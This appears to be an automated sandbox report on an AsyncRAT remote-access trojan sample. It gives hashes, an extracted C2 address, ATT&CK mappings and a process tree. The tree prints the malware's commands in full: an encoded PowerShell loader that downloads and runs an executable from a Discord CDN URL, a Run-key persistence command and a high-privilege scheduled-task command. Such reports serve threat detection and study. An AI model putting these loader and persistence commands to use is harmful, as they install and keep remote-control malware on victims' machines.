asyncrat | c6dd505d02069b6b0452f51c165db53fbb6b80b4b48de19c083ab22ef98b2158

General

Target

1.exe
Size

5KB
MD5

0afa034595bdcf7b9b990b083910f7a5
SHA1

9c9d01227016d43458c7567612a64f88df84c787
SHA256

c6dd505d02069b6b0452f51c165db53fbb6b80b4b48de19c083ab22ef98b2158
SHA512

4753057e45f2f03f9cab56f3b7864d2d3455f2549ebb7e6c9fcc8680f8a9e38568026e72694cebf288f3e63fc180b08e5d0fad0f3b1a74e5dc88612d4db6544a
SSDEEP

96:RF79kEll3VI29zS6hENISXX8z/n3xuscvHd3ojbrl:79kE/332NISH8z/n3QXHd0

Score

10^/10

asyncrat system guard runtime persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4316-148-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

18 2976 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

1.exe

pid process

340 1.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

1.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation 1.exe

flow	pid	process
18	2976	powershell.exe

pid	process
340	1.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

1.exe

description pid process target process

PID 340 set thread context of 4316 340 1.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4240 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2976 powershell.exe
2976 powershell.exe
4612 powershell.exe
4612 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2976 powershell.exe
Token: SeDebugPrivilege 4612 powershell.exe

description	pid	process	target process
PID 340 set thread context of 4316	340	1.exe	RegAsm.exe

pid	process
4240	schtasks.exe

pid	process
2976	powershell.exe
2976	powershell.exe
4612	powershell.exe
4612	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

1.exepowershell.exe1.execmd.exe

description	pid	process	target process
PID 4284 wrote to memory of 2976	4284	1.exe	powershell.exe
PID 4284 wrote to memory of 2976	4284	1.exe	powershell.exe
PID 2976 wrote to memory of 340	2976	powershell.exe	1.exe
PID 2976 wrote to memory of 340	2976	powershell.exe	1.exe
PID 2976 wrote to memory of 340	2976	powershell.exe	1.exe
PID 340 wrote to memory of 4612	340	1.exe	powershell.exe
PID 340 wrote to memory of 4612	340	1.exe	powershell.exe
PID 340 wrote to memory of 4612	340	1.exe	powershell.exe
PID 340 wrote to memory of 1280	340	1.exe	cmd.exe
PID 340 wrote to memory of 1280	340	1.exe	cmd.exe
PID 340 wrote to memory of 1280	340	1.exe	cmd.exe
PID 1280 wrote to memory of 4240	1280	cmd.exe	schtasks.exe
PID 1280 wrote to memory of 4240	1280	cmd.exe	schtasks.exe
PID 1280 wrote to memory of 4240	1280	cmd.exe	schtasks.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe
PID 340 wrote to memory of 4316	340	1.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANgA2ADUAMwAxADYANAAwADgAOAAxADMAOQA4ADEANwAvADEAMAA1ADYANgA1ADMANwAxADQAMQAzADcANQA1ADUAMAAwADQALwBDAFIALgBlAHgAZQAnACwAIAA8ACMAbgBsAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHcAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAHIAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApACkAPAAjAGcAZABoACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHoAbABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGYAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApADwAIwB6AGgAdgAjAD4A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2976

C:\Users\Admin\AppData\Roaming\1.exe
"C:\Users\Admin\AppData\Roaming\1.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4612

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
4⤵
- Suspicious use of WriteProcessMemory
PID:1280

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4240

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
4⤵
PID:4316

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
33e9dd1bc41e70c4fbdf04b85cf36ff4

SHA1
0433625fae735abc2f11249456e212dfca1473a9

SHA256
f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9

SHA512
d74083d2f0e7fe21db55c7c0bc880dd2d1fe92ca806c79f77ec0bbc7d2ae5fd1d3509d2ebd0fa60efbab0688711902b7a1da6419aba94a0897810ccf6d9957df

Download Submit
C:\Users\Admin\AppData\Roaming\1.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
C:\Users\Admin\AppData\Roaming\1.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
memory/340-142-0x0000000005420000-0x00000000059C4000-memory.dmp

Filesize
5.6MB

Download
memory/340-141-0x0000000000590000-0x00000000005AC000-memory.dmp

Filesize
112KB

Download
memory/340-137-0x0000000000000000-mapping.dmp

Download
memory/1280-144-0x0000000000000000-mapping.dmp

Download
memory/2976-136-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp

Filesize
10.8MB

Download
memory/2976-140-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp

Filesize
10.8MB

Download
memory/2976-135-0x000002182D100000-0x000002182D122000-memory.dmp

Filesize
136KB

Download
memory/2976-133-0x0000000000000000-mapping.dmp

Download
memory/4240-145-0x0000000000000000-mapping.dmp

Download
memory/4284-132-0x00000000003B0000-0x00000000003B8000-memory.dmp

Filesize
32KB

Download
memory/4284-134-0x00007FFAB7130000-0x00007FFAB7BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4316-148-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4316-147-0x0000000000000000-mapping.dmp

Download
memory/4612-149-0x0000000004D10000-0x0000000005338000-memory.dmp

Filesize
6.2MB

Download
memory/4612-157-0x0000000006000000-0x000000000601E000-memory.dmp

Filesize
120KB

Download
memory/4612-150-0x0000000004A10000-0x0000000004A32000-memory.dmp

Filesize
136KB

Download
memory/4612-151-0x0000000004BC0000-0x0000000004C26000-memory.dmp

Filesize
408KB

Download
memory/4612-152-0x0000000004C30000-0x0000000004C96000-memory.dmp

Filesize
408KB

Download
memory/4612-143-0x0000000000000000-mapping.dmp

Download
memory/4612-154-0x0000000005A50000-0x0000000005A6E000-memory.dmp

Filesize
120KB

Download
memory/4612-155-0x0000000006C30000-0x0000000006C62000-memory.dmp

Filesize
200KB

Download
memory/4612-156-0x0000000070390000-0x00000000703DC000-memory.dmp

Filesize
304KB

Download
memory/4612-146-0x00000000020D0000-0x0000000002106000-memory.dmp

Filesize
216KB

Download
memory/4612-158-0x00000000073B0000-0x0000000007A2A000-memory.dmp

Filesize
6.5MB

Download
memory/4612-159-0x0000000006D60000-0x0000000006D7A000-memory.dmp

Filesize
104KB

Download
memory/4612-160-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

Filesize
40KB

Download
memory/4612-161-0x0000000006FE0000-0x0000000007076000-memory.dmp

Filesize
600KB

Download
memory/4612-162-0x0000000006F90000-0x0000000006F9E000-memory.dmp

Filesize
56KB

Download
memory/4612-163-0x00000000070A0000-0x00000000070BA000-memory.dmp

Filesize
104KB

Download
memory/4612-164-0x0000000007080000-0x0000000007088000-memory.dmp

Filesize
32KB

Download
memory/4612-165-0x00000000070C0000-0x00000000070E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads